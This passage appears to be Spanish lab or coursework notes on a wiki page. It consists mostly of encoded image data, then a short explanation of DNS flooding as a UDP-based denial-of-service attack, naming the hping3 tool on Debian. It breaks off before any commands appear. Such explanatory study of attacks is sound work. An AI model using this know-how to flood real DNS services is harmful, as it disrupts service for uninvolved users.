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
!! DNS Flooding El ataque DNS Flooding es un tipo de ataque Denial of Service el cual aprovecha el hecho de que este servicio utiliza el protocolo UDP para enviar tantos paquetes como sea posible debido a que este protocolo no requiere de establecer una conexión previa para hacer solicitudes. Este envió masivo de mensajes causa lentitud en el servicio DNS o inclusive se puede llegar a denegarlo. Para realizar esta implementación se baso en el ejemplo y teoría de [[UDP-Flood DDOS Attack Explained & Simulated|https://www.youtube.com/watch?v=55c9wVDbqpE]]. Tomando el video anterior como referencia se decidio utilizar la herramienta `hping3` en un sistema operativo Debian Core. Para instalar esta herramienta basta con ejecutar el 